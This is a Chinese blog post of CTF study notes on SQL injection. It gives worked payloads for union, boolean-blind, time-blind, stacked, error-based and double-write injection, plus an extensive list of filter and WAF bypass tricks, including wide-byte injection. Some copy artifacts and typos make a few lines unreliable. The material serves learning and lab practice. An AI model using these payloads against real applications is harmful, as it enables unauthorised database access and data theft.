SQL 注入

原创

Derait 于 2021-01-26 01:13:40 发布 135 收藏 1

分类专栏： CTF 文章标签： sql

本文链接：https://blog.csdn.net/Derait/article/details/113157301

SQL 注入

文章目录

时间盲注

原理

实例

[CTFHub 技能树 时间盲注]

堆叠注入

原理

实例

[强网杯 2019]随便注

方法一 预编译

方法二 修改表名

方法三 handler

[SUCTF 2019]EasySQL

双写绕过

前提

原理

实例

[极客大挑战 2019]BabySQL

报错注入

原理

xpath语法错误

extractvalue函数

updatexml

concat+rand()+group_by()导致主键重复

rand()

floor()

group by

实例

[极客大挑战 2019]HardSQL

绕过总结

1.绕过空格（注释符/* */，%a0）

2.括号绕过空格

3.引号绕过（使用十六进制）

4.逗号绕过（使用from或者offset）

5.比较符号（<>）绕过（过滤了<>：sqlmap盲注经常使用<>，使用between的脚本）

使用greatest()、least（）：（前者返回最大值，后者返回最小值）

使用between and：

6.or and xor not绕过

> 持续更新

注入攻击原理

什么是SQL？

SQL 是一门 ANSI 的标准计算机语言，用来访问和操作数据库系统。SQL 语句用于取回和更新数据库中的数据。SQL 可与数据库程序协同工作，比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。

什么是SQL注入？

看起来很复杂，其实很简单就能解释，SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。

SQL注入是怎么样产生的？

构造动态字符串是一种编程技术，它允许开发人员在运行过程中动态构造SQL语句。开发人员可以使用动态SQL来创建通用、灵活的应用。动态SQL语句是在执行过程中构造的，它根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准来决定提取什么字段(如SELECT语句)，或者根据不同的条件来选择不同的查询表时，动态构造SQL语句会非常有用。

字符型注入&数字型注入

数字型判断

当输入的参 x 为整型时，通常 abc.php 中 Sql 语句类型大致如下：

```
select * from <表名> where id = x
```

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断：

Url 地址中输入 **www.xxx.com/abc.php?id= x and 1=1**

页面依旧运行正常，继续进行下一步。

Url 地址中继续输入 **www.xxx.com/abc.php?id= x and 1=2**

页面运行错误，则说明此 Sql 注入为数字型注入。

原因如下：

当输入 and 1=1时，后台执行 Sql 语句：

```
select * from <表名> where id = x and 1=1
```

没有语法错误且逻辑判断为正确，所以返回正常。

当输入 and 1=2时，后台执行 Sql 语句：

```
select * from <表名> where id = x and 1=2
```

没有语法错误但是逻辑判断为假，所以返回错误。

我们再使用假设法：

如果这是字符型注入的话，我们输入以上语句之后应该出现如下情况：

```
select * from <表名> where id = 'x and 1=1'select * from <表名> where id = 'x and 1=2'
```

查询语句将 and 语句全部转换为了字符串，并没有进行 and 的逻辑判断，所以不会出现以上结果，故假设是不成立的。

字符型判断

当输入的参 x 为字符型时，通常 abc.php 中 SQL 语句类型大致如下

```
select * from <表名> where id = 'x'
```

这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断：

Url 地址中输入 **www.xxx.com/abc.php?id= x’ and ‘1’='1**

页面运行正常，继续进行下一步。

Url 地址中继续输入 **www.xxx.com/abc.php?id= x’ and ‘1’='2**

页面运行错误，则说明此 Sql 注入为字符型注入。

原因如下：

当输入 and ‘1’='1时，后台执行 Sql 语句：

```
select * from <表名> where id = 'x' and '1'='1'
```

语法正确，逻辑判断正确，所以返回正确。

当输入 and ‘1’='2时，后台执行 Sql 语句：

select * from <表名> where id = ‘x’ and ‘1’=‘2’

语法正确，但逻辑判断错误，所以返回正确。

万能密码

原理

用户进行用户名和密码验证时，网站需要查询数据库。查询数据库就是执行SQL语句。

针对此BBS论坛，当用户登录时，后台执行的数据库查询操作（SQL语句）是【Select user_id,user_type,email From users Where user_id='用户名' And password='密码'】。

由于网站后台在进行数据库查询的时候没有对单引号进行过滤，当输入用户名【admin】和万能密码【2'or'1】时，执行的SQL语句为【Select user_id,user_type,email From users Where user_id='admin' And password='2'or'1'】。同时，由于SQL语句中逻辑运算符具有优先级，【=】优先于【and】，【and】优先于【or】，且适用传递性。因此，此SQL语句在后台解析时，分成两句【Select user_id,user_type,email From users Where user_id='admin' And password='2'】和【'1'】，两句bool值进行逻辑or运算，恒为TRUE。SQL语句的查询结果为TRUE，就意味着认证成功，也可以登录到系统中。

实例

[极客大挑战 2019]easySQL

```
/check.php?username=1' or 1=1 %23&password=1
```

联合查询

前提

要用联合查询进行注入则：页面必须有显示位

原理

union可合并两个或多个select语句的结果集，

前提是两个select必有相同列、且各列的数据类型也相同

实例

[极客大挑战 2019]LoveSQL

找注入点且得到闭合字符

```
/check.php?username=1' or 1=1 %23&password=1
```

猜解列数，得到显示位

```
/check.php?username=admin' order by 3%23&password=1     存在
/check.php?username=admin' order by 4%23&password=1     报错
/check.php?username=1' union select 1,2,3%23&password=1     找出回显点位
```

得到基本信息(如：数据库名、数据库版本、当前数据库名等)

```
/check.php?username=1' union select 1,database(),version()%23&password=1
```

得到表名

```
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table
_schema=database()%23&password=1
```

得到列名

```
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where tab
le_schema=database() and table_name='l0ve1ysq1'%23&password=1
```

得到列值

```
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
```

[GXYCTF2019]BabySQli

查看提交后的界面源代码，发现一串密文，猜测为base家族编码，依次用base32、base64解码后得到提示

```
select * from user where username = '$name'
```

猜解列数(大小写混合绕过)

```
1' ORder by 3# 存在
1' ORder by 4# 报错
```

找到回显位

```
1' union select 'admin',2,3# wrong user!
1' union select 1,'admin',3# wrong pass!
1' union select 1,2,'admin'# wrong user!
```

用联合查询语句用来生成虚拟的表数据(‘c4ca4238a0b923820dcc509a6f75849b’ 是 1 的md5值)

```
admin: 1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
password: 1
```

布尔盲注

原理

布尔盲注，与普通注入的区别在于“盲注”。在注入语句后，盲注不是返回查询到的结果，而只是返回查询是否成功，**即：返回查询语句的布尔值**。因此，盲注要盲猜试错。由于只有返回的布尔值，往往查询非常复杂，一般使用脚本来穷举试错。

由于对数据库的信息了解甚少，盲注需要考虑多种情况，一般思路如下：

1. 爆库名长度
2. 根据库名长度爆库名
3. 对当前库爆表数量
4. 根据库名和表数量爆表名长度
5. 根据表名长度爆表名
6. 对表爆列数量
7. 根据表名和列数量爆列名长度
8. 根据列名长度爆列名
9. 根据列名爆数据值

实例

[CTFHub 技能树 布尔盲注]

1、爆数据库名长度

首先，通过循环i从1到无穷，使用`length(database()) = i`获取库名长度，i是长度，直到返回页面提示query_success即猜测成功

```
?id=1 and length(database())=1
#query_error
...
?id=1 and length(database())=4
#query_success
#库名长度为4
123456
```

2、根据库名长度爆库名

获得库名长度i后，使用`substr(database(),i,1)`将库名切片，循环i次，i是字符下标，每次循环要遍历字母表[a-z]作比较，即依次猜每位字符

> 注意观察substr(database,i,1)
> i从1开始（第i个字符）

```
?id=1 and substr(database(),1,1)='a'
#query_error
...
?id=1 and substr(database(),1,1)='s'
#query_success
#库名第一个字符是s
...
?id=1 and substr(database(),4,1)='i'
#query_success
#库名第四个字符是i

#库名是sqli
123456789101112
```

3、对当前库爆表数量

下一步是获取数据库内的表数量，使用mysql的查询语句`select COUNT(*)`。同样，要一个1到无穷的循环

```
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1
#query_error

?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2
#query_success
#当前库sqli有2张表
123456
```

4、根据库名和表数量爆表名长度

得到表数量i后，i就是循环次数，i是表的下标-1，大循环i次（遍历所有表），这里的i从0开始，使用`limit i ,1`限定是第几张表，内嵌循环j从1到无穷（穷举所有表名长度可能性）尝试获取每个表的表名长度

> 注意观察limit i,1
> i从0开始（第i+1张表）

```
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1
#query_error
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
#query_success
#当前库sqli的第一张表表名长度为4
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4
#query_success
#当前库sqli的第二张表表名长度为4

#当前库sqli有两张表'news'和'flag'，表名长度均为4
123456789101112
```

5、根据表名长度爆表名

再大循环i次（遍历所有表），内嵌循环j次（表名的所有字符），i是表下标-1，j是字符下标，再内嵌循环k从a到z（假设表名全是小写英文字符）尝试获取每个表的表名

> 注意观察substr((select…limit i,1),j,1)
> i从0开始（第i+1张表），j从1开始（第j个字符）

```
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
=‘a’
#query_error
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
=‘n’
#query_success
#当前库sqli的第一张表表名第一个字符是n
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)
=‘g’
#query_success
#当前库sqli的第二张表表名的第四个字符是g

#当前库sqli有两张表’news‘和‘flag’
123456789101112
```

> 这里分析一下表名——flag在第二张表flag里面，就不用对表news操作了

6、对表爆列数量

操作同对当前库爆表数量的步骤，只是要查询的表不同

```
?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=
1
#query_error

?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=
2
#query_success
#当前库sqli表flag的列数为2
123456
```

7、根据表名和列数量爆列名长度

操作同对当前库爆表名长度的步骤，i是列标-1

> 注意观察limit i,1
> i从0开始（第i+1列）

```
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘fl
ag’ limit 0,1)=1
#query_error
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘fl
ag’ limit 0,1)=4
#query_success
#当前库sqli表flag的第一列列名长度为4
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘fl
ag’ limit 0,1)=4
#query_success
#当前库sqli表flag的第二列列名长度为4

#当前库sqli表flag有两个列‘id’和‘flag’，列名长度为2和4
123456789101112
```

8、根据列名长度爆列名

操作同对当前库爆表名的步骤，i是列标-1，j是字符下标

> 注意观察substr((select…limit i,1),j,1))
> i从0开始（第i+1列），j从1开始（第j个字符）

```
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’
#query_error
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’
#query_success
#当前库sqli表flag的第一列列名第一个字符为i
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 1,1),4,1)=‘g’
#query_success
#当前库sqli表flag的第二列列名第四个字符为g

#当前库sqli表flag有两个列‘id’和‘flag’
123456789101112
```

9、根据列名爆数据

flag有固定的格式，以右花括号结束，假设flag有小写英文字母、下划线、花括号构成，由于不知道flag长度，要一个无限循环，定义计数符j，内嵌循环i遍历小写、下划线和花括号，匹配到字符后j++，出循环的条件是当前i是右花括号，即flag结束

> 注意观察substr((select…),j,1)
> j从1开始（flag的第j个字符）

```
?id=1 and substr((select flag from sqli.flag),1, 1)=“a”
#query_error
...
?id=1 and substr((select flag from sqli.flag),1, 1)=“c”
#query_success
#flag的第一个字符是c
...
?id=1 and substr((select flag from sqli.flag),i, 1)=“}”
#query_success
#flag的最后一个字符是}
#这里的j是计数变量j从1自增1得到的值

#出循环即可得到flag
```

时间盲注

原理

提交对执行时间铭感的函数sql语句，通过执行时间的长短来判断是否执行成功，比如:正确的话会导致时间很长，错误的话会导致执行时间很短，这就是所谓的高级盲注.SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出，只能手工检测，利用脚本程序跑出结果。

实例

[CTFHub 技能树 时间盲注]

页面3秒钟后才响应，说明数据库名称长度=4

```
1 and if(length(database())=4,sleep(3),1)
```

猜解数据库名称

```
1 and if(ascii(substr(database(),1,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),1,1))=115,sleep(3),1) ascii(s)=115

1 and if(ascii(substr(database(),2,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),2,1))=113,sleep(3),1) ascii(q)=113

1 and if(ascii(substr(database(),3,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),3,1))=108,sleep(3),1) ascii(l)=108

1 and if(ascii(substr(database(),4,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),4,1))=105,sleep(3),1) ascii(i)=105

......
不断调整ASCII码的范围逐渐得到数据库名称为sqli
```

sqli数据库中表的数量

```
1 and if((select count(table_name) from information_schema.tables
 where table_schema=database())=2,sleep(3),1)
```

页面3秒后响应，说明有两张表

猜解表名

```
1 and if(ascii(substr((select table_name from information_schema.tables
  where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)
  ascii(n)=110

3秒后响应，说明第一张表的第一个字母为n
依次得到表名为news
```

```
1 and if(ascii(substr((select table_name from information_schema.tables
  where table_schema=database() limit 1,1),1,1))=102,sleep(3),1)
  ascii(f)=102

3秒后响应，说明第一张表的第一个字母为f
依次得到表名为flag
```

猜解flag表的字段数

```
1 and if((select count(column_name) from information_schema.columns
 where table_name='flag')=1,sleep(3),1)
```

3秒后响应，只有一个字段

猜解字段名

```
1 and if(ascii(substr((select column_name from information_schema.columns
 where table_name='flag'),1,1))=102,sleep(3),1)

一样的套路，得到字段名为flag
```

猜解flag具体值

使用脚本或者sqlmap得到最终结果

sqlmap

```
-D sqli -T flag --columns --dump
```

堆叠注入

原理

一次性执行多条查询语句

实例

[强网杯 2019]随便注

联合查询后提示关键字被过滤，尝试堆叠注入，先获取数据库

```
/?inject=1';show databases;%23
```

爆表名

```
/?inject=1';show tables;%23
```

查看两个表中的字段

```
/?inject=1';show columns from `1919810931114514`;%23
/?inject=1';show columns from `words`;%23
```

注意到回显出来的数据是'words'表中的格式，而flag在'1919810931114514'表中

方法一 预编译

> 所谓预编译语句就是将此类 SQL 语句中的值用占位符替代，可以视为将 SQL 语句模板化或者说参数化，一般称这类语句叫Prepared Statements。
> 预编译语句的优势在于归纳为：一次编译、多次运行，省去了解析优化等过程；此外预编译语句能防止 SQL 注入。
> 预处理流程
>
> ```
> SET;          # 用于设置变量名和值
> PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句，并赋予名称，以后可以引用该语句
> EXECUTE stmt_name;        # 执行语句
> {DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句
> ```

使用预处理语句绕过

```
/?inject=-1';set @sql=CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;%23
```

提示关键词被过滤，采取大小写混合绕过

```
/?inject=-1';Set @sql=CONCAT('se','lect * from `1919810931114514`;');prePare stmt from @sql;execute stmt;%23
```

方法二 修改表名

> 原题目查询的数据表为 `words` 。既然没过滤 `alert` 和 `rename` ，那就可以把表和列改名。先把 `words` 改为其他，再把 `1919810931114514` 改为 `words` ，然后把新的 `words` 表里的 `flag` 列改为 `id` ，这样就可以直接查询 flag 了

直接在查询框中输入

```
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id va
rchar(100);#

# ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型);
```

再次输入 `1' or 1=1#` 得到结果

方法三 handler

> mysql除可使用select查询表中的数据，也可使用handler语句，这条语句使我们能够一行一行的浏览一个表中的数据，不过handler语句并不具备select语句的所有功能。它是mysql专用的语句，并没有包含到SQL标准中。

```
HANDLER tbl_name OPEN [ [AS] alias]
# 打开一张表，无返回结果，实际上声明了一个名为tb1_name的句柄。
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
# 获取句柄的第一行，通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE
# 关闭打开的句柄。
```

```
/?inject=1';handler `1919810931114514` open;handler `1919810931114514` read first;-- +
```

[SUCTF 2019]EasySQL

尝试`1';show databases;#`没有结果，尝试`1;show databases;#`爆出库名

爆表名

```
1;show tables;#
```

爆字段

```
1;show columns from `Flag`;#
```

失败，查看网页源代码，猜测后端代码为

```
select $_POST['query'] || flag from Flag
```

因此输入`*,1`构造payload，得出flag

```
(后端执行：select *,1 || flag from Flag)
```

双写绕过

前提

观察报错发现关键字被replace函数替换为空字符

原理

通过双写来重构关键字

实例

[极客大挑战 2019]BabySQL

找注入点(根据报错回馈尝试双写)

```
/check.php?username=1' oorr 1=1 %23&password=1
```

猜解列数，得到显示位(无法使用order by)

```
/check.php?username=1' ununionion seselectlect 1,2,3%23&password=1      找出回显点位
```

得到基本信息(如：数据库名、数据库版本、当前数据库名等)

```
/check.php?username=1' ununionion seselectlect 1,database(),version()%23&password=1
```

爆所有数据库名字

```
/check.php?username=1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom
infoorrmation_schema.schemata %23&password=1
```

猜测flag在ctf库中，爆表名

```
/check.php?username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.t
ables whwhereere table_schema="ctf" %23&password=1
```

爆字段名

```
/check.php?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.
columns whwhereere table_name="Flag" %23&password=1
```

爆数据

```
/check.php?username=1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag %23&password=1
```

报错注入

原理

- 报错注入共有十种方式，平时我们最常用到的三种报错注入方式分别是：floor()、updatexml()、extractvalue()。
- 报错注入在没法用union联合查询时用，但前提还是不能过滤一些关键的函数。
- 报错注入就是利用了数据库的某些机制，人为地制造错误条件，使得查询结果能够出现在错误信息中。这里主要记录一下`xpath语法错误`和`concat+rand()+group_by()导致主键重复`

xpath语法错误

利用xpath语法错误来进行报错注入主要利用`extractvalue`和`updatexml`两个函数。
使用条件：mysql版本>5.1.5

extractvalue函数

> 函数原型：extractvalue(xml_document,Xpath_string)
> 正常语法：extractvalue(xml_document,Xpath_string);
> 第一个参数：xml_document是string格式，为xml文档对象的名称
> 第二个参数：Xpath_string是xpath格式的字符串
> 作用：从目标xml中返回包含所查询值的字符串

第二个参数是要求符合xpath语法的字符串，如果不满足要求，则会报错，并且将查询结果放在报错信息里，因此可以利用。

pyload：`id='and(select extractvalue("anything",concat('~',(select语句))))`

例如：

```
id='and(select extractvalue(1,concat('~',(select database()))))
id='and(select extractvalue(1,concat(0x7e,@@version)))
```

针对mysql数据库：

```
查数据库名：id='and(select extractvalue(1,concat(0x7e,(select database()))))

爆表名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables
 where table_schema=database()))))

爆字段名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.col
umns where table_name="TABLE_NAME"))))

爆数据：id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
```

注：

- ① 0x7e='~'
- ② concat('a','b')="ab"
- ③ version()=@@version
- ④ '~'可以换成'#'、'$'等不满足xpath格式的字符
- ⑤ extractvalue()能查询字符串的最大长度为32，如果我们想要的结果超过32，就要用substring()函数截取或limit分页，一次查看最多32位

updatexml

> 函数原型：updatexml(xml_document,xpath_string,new_value)
> 正常语法：updatexml(xml_document,xpath_string,new_value)
> 第一个参数：xml_document是string格式，为xml文档对象的名称 第二个参数：xpath_string是xpath格式的字符串
> 第三个参数：new_value是string格式，替换查找到的负荷条件的数据 作用：改变文档中符合条件的节点的值

第二个参数跟extractvalue函数的第二个参数一样，因此也可以利用，且利用方式相同
payload：`id='and(select updatexml("anything",concat('~',(select语句())),"anything"))`

例如：

```
'and(select updatexml(1,concat('~',(select database())),1))
'and(select updatexml(1,concat(0x7e,@@database),1))
```

同样，针对mysql：

```
爆数据库名：'and(select updatexml(1,concat(0x7e,(select database())),0x7e))

爆表名：'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where
table_schema=database())),0x7e))

爆列名：'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns wher
e table_name="TABLE_NAME")),0x7e))

爆数据：'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
```

concat+rand()+group_by()导致主键重复

这种报错方法的本质是因为floor(rand(0)*2)的重复性，导致group by语句出错。group by key的原理是循环读取数据的每一行，将结果保存于临时表中。读取每一行的key时，如果key存在于临时表中，则不在临时表中更新临时表的数据；如果key不在临时表中，则在临时表中插入key所在行的数据。

rand()

> 生成0~1之间的随机数，可以给定一个随机数的种子，对于每一个给定的种子，rand()函数都会产生一系列可以复现的数字

floor()

> 对任意正或者负的十进制值向下取整

通常利用这两个函数的方法是`floor(rand(0))*2`,其会生成0和1两个数

group by

> group by是根据一个或多个列对结果集进行分组的sql语句，其用法为：
> SELECT column_name, aggregate_function(column_name)
> FROM table_name
> WHERE column_name operator value
> GROUP BY column_name

常见的payload为：

```
'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足大的表" group by x)a--+
```

例如：

```
'union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a--+

利用information_schema.tables表，相似的还可以用information_schema.columns等
```

为了使结构能够更方便的查看，可以在concat()中添加一些内容

```
'union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
```

之后还是将select语句改为一般的注入语句就可以：

```
爆数据库名：'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

爆表名：'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

爆列名：'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

爆数据：'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
```

不能使用group_concat函数，所以用limit语句来限制查询结果的列数

实例

[极客大挑战 2019]HardSQL

过滤了大量关键字(包括空格)，尝试多次无果后采用报错注入，得到库名

```
/check.php?username=1'^extractvalue(1,concat(0x7e,(select(database()))))%23&password=1
```

爆表名(用括号和^绕过空格，用like绕过=)

```
/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23&password=1
```

爆字段名

```
/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23&password=1
```

爆数据

```
/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))))%23&password=1
```

flag没显示完全，用right()查看剩下的，拼起来得到完整结果

```
/check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1))))%23&password=1
```

绕过总结

1.绕过空格（注释符/* */，%a0）

```
两个空格代替一个空格，用Tab代替空格，%a0=空格：
%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/
```

最基本的绕过方法，用注释替换空格：

```
/*  注释 */
```

使用浮点数：

```
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3
```

2.括号绕过空格

如果空格被过滤，括号没有被过滤，可以用括号绕过。

在MySQL中，括号是用来包围子查询的。因此，任何可以计算出结果的语句，都可以用括号包围起来。而括号的两端，可以没有多余的空格。

例如：

```
select(user())from dual where(1=1)and(2=2)
```

这种过滤方法常常用于time based盲注,例如：

```
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
```

上面的方法既没有逗号也没有空格。猜解database（）第一个字符ascii码是否为109，若是则加载延时。

3.引号绕过（使用十六进制）

会使用到引号的地方一般是在最后的`where`子句中。如下面的一条sql语句，这条语句就是一个简单的用来查选得到users表中所有字段的一条语句：

```
select column_name  from information_schema.tables where table_name="users"
```

这个时候如果引号被过滤了，那么上面的`where`子句就无法使用了。那么遇到这样的问题就要使用**十六进制**来处理这个问题了。
`users`的十六进制的字符串是`7573657273`。那么最后的sql语句就变为了：

```
select column_name  from information_schema.tables where table_name=0x7573657273
```

4.逗号绕过（使用from或者offset）

在使用盲注的时候，需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用`from to`的方式来解决：

```
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
```

使用join：

```
union select 1,2     #等价于
union select * from (select 1)a join (select 2)b
```

使用like：

```
select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'
```

对于`limit`可以使用`offset`来绕过：

```
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
```

5.比较符号（<>）绕过（过滤了<>：sqlmap盲注经常使用<>，使用between的脚本）

使用greatest()、least（）：（前者返回最大值，后者返回最小值）

同样是在使用盲注的时候，在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符，那么就需要使用到`greatest`来进行绕过了。
最常见的一个盲注的sql语句：

```
select * from users where id=1 and ascii(substr(database(),0,1))>64
```

此时如果比较操作符被过滤，上面的盲注语句则无法使用,那么就可以使用`greatest`来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。

那么上面的这条sql语句可以使用`greatest`变为如下的子句:

```
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
```

使用between and：

between a and b：返回a，b之间的数据，不包含b。

6.or and xor not绕过

```
and=&&  or=||   xor=|   not=!
```

7.绕过注释符号（#，–(后面跟一个空格））过滤

```
id=1' union select 1,2,3||'1
```

最后的or '1闭合查询语句的最后的单引号，或者：

```
id=1' union select 1,2,'3
```

8.=绕过

使用like 、rlike 、regexp 或者 使用< 或者 >

9.绕过union，select，where等

（1）使用注释符绕过：

常用注释符：

```
//, -- , /**/, #, --+, -- -, ;,%00,--a
```

用法：

```
U/**/ NION /**/ SE/**/ LECT /**/user, pwd from user
```

（2）使用大小写绕过：

```
id=-1'UnIoN/**/SeLeCT
```

（3）内联注释绕过：

```
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
```

（4）双关键字绕过（若删除掉第一个匹配的union就能绕过）：

```
id=-1'UNIunionONSeLselectECT1,2,3--
```

10.通用绕过（编码）：

如URLEncode编码，ASCII,HEX,unicode编码绕过：

```
or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
```

11.等价函数绕过：

```
hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例：substring()和substr()无法使用时：?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者：
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
```

12.宽字节注入：

过滤 `'` 的时候往往利用的思路是将 `'` 转换为 `\'` 。

在 mysql 中使用 GBK 编码的时候，会认为两个字符为一个汉字，一般有两种思路：

```
（1）%df 吃掉 \ 具体的方法是 urlencode(\') = %5c%27，我们在 %5c%27 前面添加 %df ，形成 %df%5c%27 ，而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字，%df%5c 就是一个汉字，%27 作为一个单独的（'）符号在外面：

id=-1%df%27union select 1,user(),3--+
```

（2）将\' 中的 \ 过滤掉，例如可以构造 %**%5c%5c%27 ，后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数：

```
 1.replace（）：过滤 ' \ ，将 ' 转化为 \' ，将 \  转为 \\，将 " 转为 \" 。用思路一。

 2.addslaches()：返回在预定义字符之前添加反斜杠（\）的字符串。预定义字符：' ，" ，\ 。用思路一

（防御此漏洞，要将 mysql_query 设置为 binary 的方式）

   3.mysql_real_escape_string()：转义下列字符：

\x00     \n     \r     \     '     "     \x1a
```

（防御，将mysql设置为gbk即可）

参考链接

1.https://blog.csdn.net/silence1_/article/details/90812612
2.https://www.cnblogs.com/yesec/p/12344786.html
3.https://www.cnblogs.com/chalan630/p/12583667.html
4.https://blog.csdn.net/stevenonesir/article/details/110203051
5.https://www.cnblogs.com/zztac/p/11355622.html
6.https://blog.csdn.net/Xxy605/article/details/109750292?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.control
7.https://blog.csdn.net/weixin_45254208/article/details/107578439